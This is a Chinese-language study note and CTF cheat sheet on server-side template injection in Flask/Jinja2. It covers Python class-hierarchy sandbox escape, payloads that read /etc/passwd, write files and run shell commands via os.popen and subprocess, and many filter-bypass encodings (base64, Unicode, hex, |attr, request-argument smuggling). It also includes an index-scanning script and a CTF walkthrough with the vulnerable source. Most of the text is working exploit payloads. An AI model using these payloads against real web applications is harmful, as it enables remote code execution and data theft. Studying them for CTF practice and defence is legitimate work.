SSTI注入
1.SSTI介绍
-
SSTI是什么
SSTI全称(Serve-Side Template lnjection)服务端模板注入
-
SSTI形成的原理
是由于接受用户输入而造成的安全问题,服务器端接收了用户的输入,并且对用户输入的内容没有进行过滤,将用户输入的内容当作web应用模板的一部,就导致在进行编译渲染过程中执行了用户输入的恶意代码。
-
SSTI的危害
信息泄露,代码执行,getshell等
-
经常出现在什么地方
web应用模板渲染的过程中
2.模板及模块引擎
-
什么是模板?
在web开发中,模板是一种用于生成动态网页内容的工具或技术。填写一个空就可以得到html页面
-
模板的语法格式
从语法格式可以看出:模板就是一段话中存在可动态替换的部分
{{动态内容}}
比如:
print("hello{{path}}") //path可以是人为输入的,可以动态替换,所以我们就可以把这个串代码看作一个模板
-
什么是模板引擎?
引擎就是驱动渲染这个模板的逻辑代码。
把模板放在模板引擎里面,就会被渲染执行后生成html的文本最后返回给浏览器
比如:
<h1>{{ headerText }}</h1>
-
执行流程
-
模板的坏处
渲染的数据是业务数据,且大多数都由用户提供,这就意味着用户对输入可控,如果后端没有对用户的输入进行检测和判断,那么就容易产生代码和数据混淆,从而产生注入漏洞可以被人注入。
3.主要的框架
-
主要的框架
-
Python:jinja2、 mako、 tornado、 django
-
php:smarty、 twig
-
java:jade、 velocity
-
4.Flask框架
主要是我太菜了,做ctf时也只遇到过flask框架,所以就已flask模板为例来学习了
-
Flask框架的简单介绍
WEB开发必备的模块,我们在渲染网页时,并不只是渲染一个纯文本字符串,而是渲染一个富文本的页面,这时候我们就需要模板,在flask中配套的模板是jinja2
-
Jinja2是什么
模板引擎
5.原理
这里补充一个知识
python web服务器部署:查看这篇文章有操作步骤
https://blog.csdn.net/qq_70303095/article/details/133787978?spm=1001.2014.3001.5501
-
开启一个简单的Flask框架进行渲染
import flask app = flask.Flask(__name__) @app.route('/') def test(): html = '{{12*12}}' return flask.render_template_string(html) if __name__ == '__main__': app.run(debug=True)
-
执行结果
-
解析
- 代码中的模板是html = ‘{{12*12}}’
- 调用render_template_string()函数进行渲染
- 渲染的过程中就执行了模板中的操作
- 要是模板中的内容为攻击者可控是否就可执行命令
-
原理就是
使用了**render_template_string()**来渲染模板
注意:SSTI与**render_template_string()**函数密不可分
-
沙箱逃逸
沙箱逃逸的过程简单讲如下
变量对象–》–找到所属类型–》回溯基类–》寻找可利用子类–》构建payload–》进行注入
在上述例子中,虽然已经可以实现任意代码执行,但由于模板本身的沙盒安全机制,某些语句虽然可以执行,却不会执行成功
要想要执行命令就需要借助各个类之间的继承关系
-
测试环境
测试代码,用于一下的代码测试,我这里运行只能在python3中运行,有很多的测试需要在python2中才会有结果
这是我在网上复制大佬写的代码,会python开发的大佬可以写一个运行在python2的测试环境
import flask app = flask.Flask(__name__) # @app.route('/<path:id>') @app.route('/') def test(): id=flask.request.args.get('id') return flask.render_template_string("<h1>Hello, "+id+"</h1>") if __name__ == '__main__': app.run(debug=True)
6.基于python的魔法方法和内置属性
魔法和方法的使用要考虑python的版本,不同的python版本之间的类是不一样的
-
__class__
用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
>>> ''.__class__ <type 'str'> //字符串 >>> ().__class__ <type 'tuple'> //元组 >>> [].__class__ <type 'list'> //列表 >>> {}.__class__ <type 'dict'> //字典
-
__mro__
用来获取一个类的调用顺序,可以用此方法来获取基类
''.__class__.__mro__ // python2下和python3下不同 (<class 'str'>, <class 'object'>) >>> [].__class__.__mro__ (<class 'list'>, <class 'object'>) >>> {}.__class__.__mro__ (<class 'dict'>, <class 'object'>) >>> ().__class__.__mro__ (<class 'tuple'>, <class 'object'>) >>> ().__class__.__mro__[1] // 返回的是一个类元组,使用索引就能获取基类了 <class 'object'>
-
__bases__
用来查看类的基类,也可以用使用数组索引来查看特定位置的值
>>> ().__class__.__bases__ (<type 'object'>,) >>> ''.__class__.__bases__ (<type 'basestring'>,) >>> [].__class__.__bases__ (<type 'object'>,) >>> {}.__class__.__bases__ (<type 'object'>,) >>> ''.__class__.__bases__[0].__bases__[0] // python2下雨python3下不同 <type 'object'> >>> [].__class__.__bases__[0] <type 'object'>
-
__base__
可以直接获取基类
>>> ''.__class__.__base__ <class 'object'> //python3下的 >>> ''.__class__.__base__ //python2下的 <type 'basestring'> >>> [].__class__.__base__ <type 'object'> >>> {}.__class__.__base__ <type 'object'> >>> ().__class__.__base__ <type 'object'>
当掌握了这些类继承的方法,我们可以从任何一个变量回溯到最开始的基类
<clas'object'>
中,再去获得这个最开始的基类所有能实现的子类,既可以有很多的类和方法了。 -
__subclass__()
查看当前的子类组成的列表
当回溯到基类,就可以使用这个来查当前子类
''.__class__.__bases__[0].__subclasses__()
-
补充
__builtins__:以一个集合的形式查看引用 __globals__:该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该 __import__():该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 import()来动态载入,就是 import 。语法:import(模块名)
-
使用魔法方法和内置属性的原因
-
就是为了回溯到子类表,然后在众多类中找出可以利用的类
-
这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子
类、更多的方法,找出可以利用的类和方法加以利用。
-
-
通过python的对象的继承来一步步实现文件读取和命令执行的
找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。
需要注意:由于python的版本不同有些类也不同,就需要注意类的使用!!!
需要注意:由于python的版本不同有些类也不同,就需要注意类的使用!!!
需要注意:由于python的版本不同有些类也不同,就需要注意类的使用!!!
7.关键字
-
config关键字,Flask模版中的一个全局对象,它包含了所有应用程序的配置值。
{{config}} //查看所有应用程序的配置值 {{config.items()}} //查看配置项目的信息 利用{{config}}查出来的配置值,在加一个.号拼接配置值即可查看相应的信息
-
常用关键字
{{requests}} {{requests.environ}} {{self}} {{url_for}} {{get_flashed_messages}} {{url_for.__globals__["os"].system('calc')}}
6.文件读取
-
python2
实际的索引可能不同,需要动态识别
[].__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read() ///////////////////////////////////////////////////// ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
-
python3
使用file类读取文件的方法仅限于Python 2环境,在Python 3环境中file类已经没有了。我们可以用
<class '_frozen_importlib_external.FileLoader'>
这个类去读取文件。首先编写脚本遍历目标Python环境中
<class '_frozen_importlib_external.FileLoader'>
这个类索引号import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' } for i in range(500): url = "http://ip:端口/?file={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}" res = requests.get(url=url, headers=headers) if 'FileLoader' in res.text: print(i) # 得到编号为n
拼接,不知道为什么没执行成功
{{().__class__.__bases__[0].__subclasses__()[n]["get_data"](0, "/etc/passwd")}}
7.命令执行
可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。
-
这里就直接放payload了
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()') {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami') {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
-
记住含有eval函数的类
warnings.catch_warnings WarningMessage codecs.IncrementalEncoder codecs.IncrementalDecoder codecs.StreamReaderWriter os._wrap_close reprlib.Repr weakref.finalize etc.
写一个脚本遍历出相关类,在构造payload,即可
SSTI注入绕过
1.关键字绕过
对一些特殊的关键字符进行拦击
1.1拼接绕过
-
可以利用“+”进行字符串拼接,绕过关键字过滤
但是往往这种绕过需要一定的条件,返回的要是字典类型的或是字符串格式(即str)的,即payload中引号内的,在调用的时候才可以使用字符串拼接绕过。
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}
1.2 base64编码绕过
-
对引号内的代码进行base64编码后再后接
.decode('base64')
可以进行绕过这个没看懂,有点迷糊
大佬的总结:只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13,16进制编码。这一切都是基于我们可以执行命令实现的。
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} 转换 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
1.3Unicode编码绕过
-
直接看payload
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
转换
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
1.4hex编码绕过
-
payload
注意:这里注意,在进行hex编码的时候我们需要选用
/x
的形式,这样才能有效绕过。{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}} 转换 {().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
1.5引号绕过
-
payload
().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read() [].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
1.6 join()函数绕过
-
payload
我们可以利用join()函数来绕过关键字过滤。例如,题目过滤了flag,那么我们可以用如下方法绕过:
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
2.绕过其他字符
2.1过滤了中括号[]
-
利用
__getitem__()
绕过好像只能在python2中使用,我在python3中没有效果
可以使用getitem()方法输出序列属性中某个索引处的元素(相当于[]),例如
>>> "".__class__.__mro__[2] <type 'object'> >>> "".__class__.__mro__.__getitem__(2) <type 'object'> 在这里边__getitem__()就等于[]
payload
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}} // 指定序列属性 {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
-
利用字典读取绕过
payload
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} 转换 {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}
2.2过滤了引号''""
-
利用chr()绕过
chr() 用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符。
语法
chr(i) i -- 可以是10进制也可以是16进制的形式的数字。
payload
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}} {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
等同与
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
2.3过滤了下划线_
-
利用request对象绕过
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}} 转换 {{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd {{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
2.4过滤了点.
-
利用
|attr()
绕过{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}} 转换 {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
-
利用中括号
[]
绕过{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}} 转换 {{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
2.5过滤了大括号{{
-
使用{% %}
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %} {%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
3.组合绕过
3.1同时过滤了 . 和 []
-
|attr()
+
getitem{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}} 转换为 {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
3.2同时过滤了 __ 、点. 和 []
-
__getitem__
+|attr()
+`request{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} 转换 {{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()
-
配合Unicode编码绕过很多过滤
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}} 转换 {{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
3.3配合Hex编码绕过很多过滤
-
列入
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}} 转换为 {{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")()}}
题目练习
ctf题
-
Web_python_template_injection
题目连接:https://adworld.xctf.org.cn/challenges/list
在web题型中搜索:python第一道题
-
访问题目
-
-
根据题目信息,一看就知道是ssti注入,随便拼接一个xss玩玩看
-
判断有没有ssti注入
-
执行命令,ls查看当前目录下的文件
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
两个文件
-
查看文件,找到flag
[].__class__.__mro__[-1].__subclasses__()[40]("fl4g").read()
-
附带一下这道题的源码吧,感兴趣的可以自己搭建来玩玩,当然也可以去网站实验
from flask import Flask,request,render_template_string from urllib import unquote app = Flask(__name__) @app.route("/") def hello(): return "python template injection" @app.errorhandler(404) def page_not_found(error): url = unquote(request.url) return render_template_string("<h1>URL %s not found</h1><br/>"%url), 404 if __name__ == '__main__': app.run(debug=False, host='0.0.0.0') not found
payload集合
-
做题专享:查看flag
{% for c in [].class.base.subclasses() %} {% if c.name=='catch_warnings' %} {{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}} {% endif %}{% endfor %}
-
payload
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() >''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') ''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read() object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() {{''.__class__.__mro__[-1].__subclasses__()[200]('calc') }} {{''.__class__.__mro__[-1].__subclasses__().xxxx.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()") }} {{''.__class__.__mro__[-1].__subclasses__().xxxx.__init__.__globals__.__builtins__.exec("__import__('os').popen('calc').read()") }} %7b%7b''%2e__class__%2e__mro__[-1]%2e__subclasses__()%2exxxx%2e__init__%2e__globals__%2e__builtins__%2eeval(%22__import__('os')%2epopen('pwd')%2eread()%22)%20%7d%7d 获取基类 //获取基本类 {{[].__class__}} //获取所有类 ''.__class__.__mro__[2].__subclasses__() 获取config对象与request对象类 {{url_for.__globals__}} {{config}}#即查看权限 {{ config.SQLALCHEMY_DATABASE_URI }} python2 #读取文件类,<type ‘file’> file位置一般为40,直接调用 [].__class__.__base__.__subclasses__()[40]('fl4g').read() <class ‘site._Printer’> #调用os的popen执行命令 {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}} [].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read() [].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read() #如果system被过滤,用os的listdir读取目录+file模块读取文件: ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') <class ‘subprocess.Popen’> 位置一般为258 {{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} {{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}} {{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} <class ‘warnings.catch_warnings’> #一般位置为59,可以用它来调用file、os、eval、commands等 #调用file ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件 #读文件 ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() object.__subclasses__()[40](r'C:\1.php').read() #写文件 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') object.__subclasses__()[40]('/var/www/html/input', 'w').write('123') #调用eval [].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()") #调用system方法 >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami') #调用commands进行命令执行 {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls') python3 #读取文件与写文件类 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}} #执行命令 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} #命令执行: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}